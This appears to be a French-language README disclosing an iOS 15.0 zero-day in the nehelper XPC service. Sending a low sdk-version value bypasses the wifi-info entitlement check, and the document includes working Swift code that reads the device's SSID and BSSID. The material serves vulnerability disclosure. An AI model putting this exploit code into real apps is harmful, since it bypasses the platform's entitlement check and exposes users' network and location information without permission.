Nehelper Wifi Info 0-day (iOS 15.0)

J'ai mis à jour ce code pour éviter d'utiliser directement l'API privée. Lisez-en plus dans mon article de blog. Cependant, cela signifie que ce code est désormais spécifique à la version d'iOS et éventuellement au modèle d'appareil. Donc, s'il ne fonctionne pas sur votre appareil, recalculez et mettez à jour les offsets dans le fichier c.c. Le code original se trouve dans la branche direct.

Le point de terminaison XPC com.apple.nehelper accepte le paramètre sdk-version fourni par l'utilisateur, et si sa valeur est inférieure ou égale à 524288, la vérification de l'entitlement com.apple.developer.networking.wifi-info est ignorée. Cela permet à toute application éligible (par exemple possédant l'autorisation d'accès à la localisation) d'accéder aux informations Wifi sans l'entitlement requis. Cela se produit dans -[NEHelperWiFiInfoManager checkIfEntitled:] dans /usr/libexec/nehelper.

func wifi_info() -> String? {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
        return nil
    }
}